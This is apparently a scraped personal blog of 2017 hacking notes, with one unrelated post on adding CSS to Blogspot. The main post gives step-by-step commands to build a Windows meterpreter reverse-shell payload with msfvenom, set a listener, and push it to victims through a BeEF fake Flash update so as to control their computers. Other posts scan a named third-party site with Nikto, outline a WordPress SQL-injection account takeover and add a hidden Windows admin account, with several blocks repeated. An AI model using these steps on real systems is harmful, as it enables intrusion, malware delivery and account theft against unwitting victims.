BeEF
root@kali:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=443 x > /root/Desktop/payload.exe
root@kali:clear
root@kali:cd /usr/sharebeef-xss/
root@kali:./beef
Open msfconsole
msf>use exploit/multi/handler
msf>exploit(handler)>show options
msf>set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf>exploit(handler)>set LHOST 192.168.1.105
LHOST=>192.168.1.105
msf>exploit(handler)>set LPORT 443
LPORT=443
msf>show options
msf>exploit
make simple fake download page
transfer created payload from desktop to var/www/html
copy Hook URL:[ip address] from ./beef results and pased it in index.html
index.html from var/www/html [see screenshot below]
visit the BeEf website UI [192.168.1.105:3000/ui/panel - can view from ./beef results]
login beef/beef usernamea and password
open cmd:
root@kali: service apache2 start
open browser and type 192.168.1.105
go to BeEF Control Panel from browser tab
select online browsers>192.168.1.105>192.168.1.105>click Commands tab
click Social Engineering folder>select Fake Flash Update
update image: http://your ip
update custom payload URL: http://your ip
click execute
once victim will download it.. youll recieve a meterpreter session.
to interact with the meterpreter session just type:
sessions -i L
[this will interact with the meterpreter session "l", if you want to see a list of sessionts just type: sessions]
type "Help" or "?" to have a full list of usefull commands to control your victim's computer]
Tuesday, June 6, 2017
Nikto Kali Linux
how to use nikto
go to applications>Vulnerability Analysis>nikto
root@kali:nikto
root@kali:nikto -H
root@kali:nikto -h http://hongtonggas.co.th/
sample displayed with vulnerable:
+ /profile.php?u=ggeFUuyt: Potential PHP MySQL database connection string found.
root@kali:nikto -h http://hongtonggas.co.th/ -Tuning 9
go to applications>Vulnerability Analysis>nikto
root@kali:nikto
root@kali:nikto -H
root@kali:nikto -h http://hongtonggas.co.th/
sample displayed with vulnerable:
+ /profile.php?u=ggeFUuyt: Potential PHP MySQL database connection string found.
root@kali:nikto -h http://hongtonggas.co.th/ -Tuning 9
Thursday, June 1, 2017
Add CSS file in Blogspot.com
Add css file in blogspot.com
1.create css file using notepad and save with .css extension(encoding: UTF-8)
2.create folder in google drive and upload the created .css and .js file
3.select file by ticking checkboxes and share it in public view
4.Following code should be change:
*orig https://drive.google.com/file/d/0B4n9GL3eVuV-TkphMkc3SFR2Slk/edit?usp=sharing
*https://googledrive.com/host/0B4n9GL3eVuV-TkphMkc3SFR2Slk
5.go to template html code and paste below format code under tags
Hack WP using sql injection
STEP 1 – Find out Vulnerabilities in WordPress Website
*desc[union query that fetch all db from wp_users table(to user user admin)]
*desc[$_pid variables]
*desc[all-video-gallery plugins(w/ vulnerabilities)]
if u append
STEP 2 – Reset WordPress Password and Get Activation Key
*desc [activation code will display in <buffer>activation code here</buffer>]
STEP 3 – Use Activation key and Reset Password
link http://{DOMAIN_NAME_HERE}/wp-login.php?action=rp&key={ACTIVATION_KEY_HERE}&login={USERNAME_HERE}
*desc[union query that fetch all db from wp_users table(to user user admin)]
*desc[$_pid variables]
*desc[all-video-gallery plugins(w/ vulnerabilities)]
if u append
STEP 2 – Reset WordPress Password and Get Activation Key
*desc [activation code will display in <buffer>activation code here</buffer>]
STEP 3 – Use Activation key and Reset Password
link http://{DOMAIN_NAME_HERE}/wp-login.php?action=rp&key={ACTIVATION_KEY_HERE}&login={USERNAME_HERE}
Friday, May 26, 2017
Activate User accounts in windows using CMD
net user administrator /active:yes
net user guest /active:no
net user guest /active:no
Add Admin Account User using CMD
run CMD as admin
net user(shows list of users)
net user [username] [password] /add (eg: net user mynewuser password123 /add)
net localgroup [usergroup] [username] /add(eg: net localgroup administrators mynewuser /add) ->make admin new user
to delete(net user mynewuser /delete)
net user(shows list of users)
net user [username] [password] /add (eg: net user mynewuser password123 /add)
net localgroup [usergroup] [username] /add(eg: net localgroup administrators mynewuser /add) ->make admin new user
to delete(net user mynewuser /delete)
Subscribe to:
Posts (Atom)